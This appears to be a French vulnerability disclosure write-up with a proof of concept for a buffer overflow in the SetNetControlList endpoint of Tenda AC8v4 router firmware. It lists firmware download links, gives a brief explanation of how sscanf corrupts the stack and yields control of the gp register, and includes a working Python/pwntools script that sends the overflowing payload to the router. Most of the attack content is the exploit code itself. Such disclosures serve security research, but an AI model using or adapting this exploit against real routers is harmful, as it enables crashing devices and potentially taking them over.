
Preuve de concept d'exploitation d'une vulnérabilité de dépassement de tampon dans le firmware du routeur Tenda AC8v4 (V16.03.34.09) via le point de terminaison SetNetControlList, démontrant le contrôle du registre gp.
Site de téléchargement du firmware :
https://www.tenda.com.cn/download/detail-3683.html
https://down.tenda.com.cn/uploadfile/AC8/V16.03.34.09.zip
https://static.tenda.com.cn/tdcweb/download/uploadfile/AC8/V16.03.34.09.zip
AC8/V16.03.34.09
Tenda AC8v4 .V16.03.34.09. En raison de sscanf, le dernier chiffre de s8 est écrasé avec \x0. Après avoir exécuté set_client_qos, le contrôle du registre gp est obtenu.



un PoC pour provoquer un Segmentation fault (core dumped)
import requests
url = 'http://192.168.0.1/goform/SetNetControlList'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36',
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Length': '3003'
}
payload=b"list="
pad=0x407ff818-0x407ff7c0
from pwn import *
target=0x40302010
target=p32(target)
payload+=b"a"*(pad)+target+b"c"*(0x110-pad)
# list len >=0x100
try:
requests.post(url, headers=headers, data=payload,timeout=3)
except requests.exceptions.ReadTimeout:
print("test ok")

avant sscanf

après, et va retourner


